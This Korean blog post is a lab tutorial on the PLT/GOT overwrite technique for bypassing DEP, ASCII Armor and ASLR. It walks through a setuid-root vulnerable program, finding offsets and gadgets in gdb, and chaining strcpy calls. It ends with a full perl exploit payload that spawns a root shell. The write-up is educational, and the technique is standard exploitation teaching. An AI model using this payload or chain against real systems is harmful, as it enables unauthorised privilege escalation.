PLT & GOT Overwrite란

: PLT & GOT Overwrite는 Dynamic Link 방식으로 컴파일된 바이너리가 공유 라이브러리를 호출할 때 사용되는 PLT & GOT를 이용하는 공격 기법으로 DEP, ASCII Armor, ASLR의 메모리 보호 기법을 우회하기 위해 사용한다

 

PLT & GOT Overwrite 원리

: PLT는 GOT를 가리키고 GOT에는 함수의 실제 주소가 들어있는데 이 GOT의 값을 원하는 함수의 실제 주소로 변조시킨다면 원래의 함수가 아닌 변조한 함수를 PLT가 호출할 것이다

 

PLT & GOT Overwrite 순서

1. Chaining RTL Calls 알기

2. root권한의 취약한 코드 작성

3. 일반 계정에서 root권한 획득하는 공격 코드 작성

4. EBP까지의 거리확인

5. strcpy의 PLT와 puts의 PLT & GOT 확인

6. 공격용 호출 함수 execve 함수의 주소 확인

7. Chaining RTL Calls 확인

8. BSS의 주소 공간 확인 

9. 필요한 주소들 정리

10. 필요한 값이 저장된 주소 공간 찾기

11. 공격 코드 작성

 

1. Chaining RTL Calls 알기

 

연속적으로 RTL을 실행하는 기법으로 인자 갯수에 따라 pop과 ret 명령어를 이용하여 사용하는 것으로  strcpy 함수와 같이 인자를 2개 사용하는 경우에는 pop-pop-ret을 사용하여 연속적으로 함수를 호출하여 메모리 위에 덮어 씌우는 기법이다

 

사용하는 인자의 갯수에 따라 pop의 갯수가 달라진다 ex) pr, ppr, pppr

 

2. root권한의 취약한 코드 작성

 

root의 계정으로 setuid 비트가 걸린 취약한 함수를 사용한 파일을 만들어 준다 /tmp/bof.c

 

컴파일시 경고가 나왔지만 잘 컴파일된걸 확인할 수 있다

 

파일에 setuid 비트를 걸어준다

 

3. 일반 계정에서 root권한 획득하는 공격 코드 작성

 

root권한으로 쉘을 실행시키는 코드를 작성해줍니다 /tmp/sh.c

 

컴파일을 해준 뒤 파일을 확인해봅니다

 

4. EBP까지의 거리확인

 

root권한의 파일을 같은 글자수로 복사해 오고 gdb를 사용해 열어준 뒤 intel 문법을 설정하여 보기 편하게 만들어줍니다

 

코드 내용을 살펴보면 첫번 째 인자인 argv[1]이 [esp+4] 의 주소공간에 들어 가는걸 확인할 수 있고 두 번째 인자인 buf 배열의 시작 주소는 [esp+1c]의 주소 공간을 할당 받고 eax의 주소 값이 복사되는걸 확인할 수 있다 

 

strcpy의 함수가 call되기 전인 +28에 break를 걸어주고 run한 뒤 ebp와 buf배열의 시작 주소가 들어가 있는 eax를 빼면 ebp전까지의 거리가 108이라는 것을 알 수 있다 ( ebp까지 덮으려면 112byte가 필요하다 )

 

5. strcpy의 PLT와 puts의 PLT & GOT 확인

 

strcpy의 plt와 puts의 plt와 got를 구한다

 

6. 공격용 호출 함수 execve 함수의 주소 확인

 

gdb로 실행해서 브레이크 포인트를 걸어주고 실행한뒤 execve의 주소를 구해준다

 

7. Chaining RTL Calls 확인

 

위 명령어를 사용하여 ret위로 3개의 명령문을 가져온다

 

strcpy의 인자는 2개이기 때문에 ppr찾아서 시작 주소를 구한다 0x8048ee

 

8. BSS의 주소 공간 확인 

 

gdb 프로그램 안에서 info files 명령어를 통해 쓰기 권한이 있는 bss의 주소를 확인한다

 

9. 필요한 주소들 정리

 

공격에 필요한 주소들을 보기 쉽게 정리한다

 

10. 필요한 값이 저장된 주소 공간 찾기

 

execve - 0x43814550

 

gdb로 프로그램 실행후 break를 걸고 run한 뒤 execve 주소에 필요한 값들은 위와 같은 방법으로 다 찾아준다 ( 43, 81, 45, 50 ) 

 

모든 값을 찾아 정리해주면 편하다

 

이번엔 /tmp/sh0 을 가지고 있는 주소 값을 모두 찾는다 2f 는 아스키 코드표에 '/' 이다

 

/tmp/sh0 에 대한 주소 값 들을 정리하였다

 

11. 공격 코드 작성

 

순서

1) execve를 puts@got자리에 복사

2) /tmp/sh0을 BSS에 복사

3) puts@plt를 통해 execve 호출 및 BSS에 저장된 인자 전달

4) 공격 코드를 개행 없이 붙여서 취약한 함수가 들어있는 파일에 인자로 전달

 

execve 함수 puts@got 자리에 복사

 

/tmp/sh0 문자 BSS에 복사

 

puts@plt를 호출함으로 puts@got에 복사된 execve함수가 호출되고 뒤에는 함수의 RET부분에 아무 문자로 채우고 BSS에 복사해둔 /tmp/sh를 인자로 넣어준다

 

취약한 파일에 공격 코드를 인자로 넣은 뒤에 실행을하니 쉘이 실행이되고 id를 확인해보니 root의 id인걸 확인할 수 있다

 

아래 코드를 개행 없이 이어 붙여서 인자로 넣어주면 잘 동작하는걸 확인할 수 있다

./bof "`perl -e 'print "A"x112,

"\x10\x83\x04\x08", "\xee\x84\x04\x08", "\x10\xa0\x04\x08", "\x18\x80\x04\x08",
"\x10\x83\x04\x08", "\xee\x84\x04\x08", "\x11\xa0\x04\x08", "\x01\x80\x04\x08",
"\x10\x83\x04\x08", "\xee\x84\x04\x08", "\x12\xa0\x04\x08", "\x5d\x80\x04\x08",
"\x10\x83\x04\x08", "\xee\x84\x04\x08", "\x13\xa0\x04\x08", "\x77\x82\x04\x08",

"\x10\x83\x04\x08", "\xee\x84\x04\x08", "\x30\xa0\x04\x08", "\x54\x81\x04\x08",
"\x10\x83\x04\x08", "\xee\x84\x04\x08", "\x31\xa0\x04\x08", "\xf6\x80\x04\x08",
"\x10\x83\x04\x08", "\xee\x84\x04\x08", "\x32\xa0\x04\x08", "\x5f\x82\x04\x08",
"\x10\x83\x04\x08", "\xee\x84\x04\x08", "\x33\xa0\x04\x08", "\x4a\x82\x04\x08",
"\x10\x83\x04\x08", "\xee\x84\x04\x08", "\x34\xa0\x04\x08", "\x54\x81\x04\x08",
"\x10\x83\x04\x08", "\xee\x84\x04\x08", "\x35\xa0\x04\x08", "\x62\x81\x04\x08",
"\x10\x83\x04\x08", "\xee\x84\x04\x08", "\x36\xa0\x04\x08", "\xd8\x80\x04\x08",
"\x10\x83\x04\x08", "\xee\x84\x04\x08", "\x37\xa0\x04\x08", "\x07\x80\x04\x08",

"\x20\x83\x04\x08", "AAAA", "\x30\xa0\x04\x08", "\x07\x80\x04\x08"x2'`"

'시스템 해킹' 카테고리의 다른 글

Format String Bug  (1) 2020.11.11
Heap Buffer Overflow  (0) 2020.11.11
CANARY  (0) 2020.11.10
ASCII Armor  (0) 2020.11.10
ASLR ( Address Space Layout Randomization )  (0) 2020.11.10

+ Recent posts